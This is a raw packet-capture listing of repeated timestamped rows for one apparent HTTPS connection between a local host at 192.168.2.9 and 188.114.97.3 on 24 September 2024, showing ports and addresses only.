Sep 24, 2024 06:30:34.320952892 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:34.320956945 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:34.321000099 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:34.321005106 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:34.321024895 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:34.321230888 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:34.321230888 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:34.321242094 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:34.321264029 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:34.321283102 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:34.321319103 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:34.321382046 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:34.321515083 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:34.321576118 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:34.531397104 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:34.531519890 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:34.961291075 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:34.961318016 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:34.961333036 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:34.961344957 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:34.961419106 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:34.961427927 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:34.961448908 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:34.961474895 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:34.961483955 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:34.961503983 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:34.961548090 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:34.961556911 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:34.961572886 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:34.961586952 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:34.961592913 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:34.961601019 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:34.961678028 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:34.961685896 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:34.961705923 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:34.961831093 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:34.961849928 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:34.961869001 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:34.961893082 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:34.961899042 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:34.961914062 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:34.961927891 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:34.962013960 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:34.962021112 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:34.962246895 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:34.962255001 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:34.962322950 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:34.962322950 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:34.962341070 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:34.962368965 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:34.962400913 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:34.962429047 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:34.962429047 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:34.962435961 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:34.962454081 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:34.962486029 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:34.962491989 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:34.962707043 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:34.962714911 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:34.962744951 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:34.962801933 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:34.962801933 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:34.962821007 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:34.962855101 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:34.962871075 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:34.962882042 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:34.962903023 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:34.962913036 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:34.963094950 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:34.963105917 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:34.963151932 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:34.963160038 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:34.963212013 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:34.963288069 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:34.963296890 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:34.963363886 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:34.963430882 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:35.171412945 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:35.171525955 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:35.615415096 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:35.615550995 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:36.191864014 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:36.191886902 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:36.191900015 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:36.192003012 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:36.192011118 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:36.192022085 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:36.192035913 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:36.192167997 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:36.192167997 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:36.192174911 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:36.192193031 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:36.192204952 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:36.192311049 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:36.192317963 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:36.192342997 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:36.192362070 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:36.192367077 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:36.192373037 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:36.192553043 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:36.192568064 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:36.192598104 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:36.192626953 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:36.192632914 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:36.192650080 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:36.192743063 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:36.192764044 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:36.192909002 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:36.192918062 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:36.193020105 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:36.193068027 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:36.399410009 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:36.399553061 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:36.827413082 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:36.827579975 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:37.036029100 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:37.036047935 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:37.036062956 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:37.036258936 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:37.036267042 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:37.036281109 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:37.036294937 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:37.036736965 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:37.036736965 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:37.036748886 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:37.036765099 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:37.036781073 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:37.039408922 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:37.039446115 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:37.039463997 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:37.039484978 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:37.039752960 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:37.039752960 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:37.039752960 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:37.039760113 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:37.039778948 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:37.039800882 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:37.039819956 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:37.039849997 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:37.039894104 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:37.039935112 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:37.039944887 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:37.040112972 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:37.040112972 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:37.040112972 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:37.040122032 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:37.040143013 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:37.040163994 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:37.040189981 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:37.040215969 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:37.040235043 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:37.040244102 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:37.040251017 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:37.040513992 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:37.040514946 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:37.040514946 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:37.040524006 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:37.040540934 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:37.040580034 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:37.040616035 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:37.040632010 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:37.040694952 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:37.040694952 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:37.040694952 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:37.040704012 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:37.040715933 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:37.040730953 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:37.040738106 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:37.040947914 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:37.040947914 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:37.040947914 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:37.040957928 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:37.040982962 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:37.041001081 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:37.041024923 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:37.041089058 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:37.041089058 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:37.041089058 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:37.041100025 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:37.041306973 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:37.041306973 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:37.041306973 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:37.247414112 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:37.247592926 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:37.663408995 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:37.663521051 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:38.495408058 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:38.495532990 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:38.563898087 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:38.563924074 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:38.563945055 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:38.564109087 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:38.564119101 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:38.564135075 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:38.564146996 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:38.564218998 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:38.564268112 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:38.564297915 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:38.564410925 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:38.564438105 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:38.564450026 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:38.564476013 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:38.564487934 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:38.564506054 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:38.564512968 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:38.564635038 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:38.564642906 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:38.564655066 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:38.564778090 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:38.564799070 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:38.564825058 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:38.564857960 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:38.564867020 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:38.564884901 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:38.565031052 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:38.565104961 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:38.565180063 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:38.775417089 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:38.775628090 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:39.195406914 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:39.195585012 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:39.375240088 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:39.375250101 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:39.375262976 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:39.375406027 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:39.375412941 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:39.375444889 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:39.375459909 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:39.375471115 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:39.375534058 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:39.375617981 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:39.375627995 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:39.375644922 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:39.375669956 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:39.375869036 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:39.375869036 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:39.375878096 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:39.375907898 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:39.375930071 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:39.375956059 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:39.375979900 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:39.376116037 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:39.376125097 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:39.376142025 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:39.376173973 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:39.376182079 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:39.376210928 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:39.376219988 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:39.376240015 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:39.376254082 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:39.376398087 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:39.376398087 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:39.376398087 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:39.376421928 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:39.376446962 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:39.376467943 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:39.376471996 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:39.376481056 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:39.376503944 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:39.376626015 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:39.376641989 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:39.376650095 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:39.376722097 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:39.376732111 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:39.376756907 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:39.376765966 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:39.376795053 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:39.376883030 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:39.376892090 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:39.376920938 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:39.376929045 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:39.376945972 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:39.377059937 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:39.377082109 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:39.377166986 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:39.377217054 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:39.377230883 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:39.377298117 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:39.587403059 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:39.587524891 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:40.027416945 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:40.027549982 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:40.859417915 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:40.859639883 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:40.955822945 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:40.955837011 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:40.955851078 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:40.956026077 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:40.956036091 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:40.956053972 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:40.956123114 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:40.956144094 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:40.956161022 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:40.956171036 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:40.956172943 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:40.956182003 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:40.956274033 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:40.956290960 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:40.956305981 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:40.956325054 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:40.956332922 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:40.956342936 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:40.956469059 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:40.956478119 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:40.956495047 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:40.956528902 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:40.956552029 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:40.956572056 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:40.956593037 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:40.956717968 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:40.956728935 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:40.956762075 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:40.956806898 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:40.956814051 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:40.956882000 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:40.956899881 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:41.163413048 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:41.163517952 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:41.412735939 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:41.412758112 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:41.412777901 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:41.412787914 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:41.413122892 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:41.413142920 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:41.413166046 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:41.413192034 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:41.413345098 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:41.413355112 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:41.413371086 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:41.413392067 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:41.413420916 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:41.413429976 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:41.413448095 CEST	443	49748	188.114.97.3	192.168.2.9
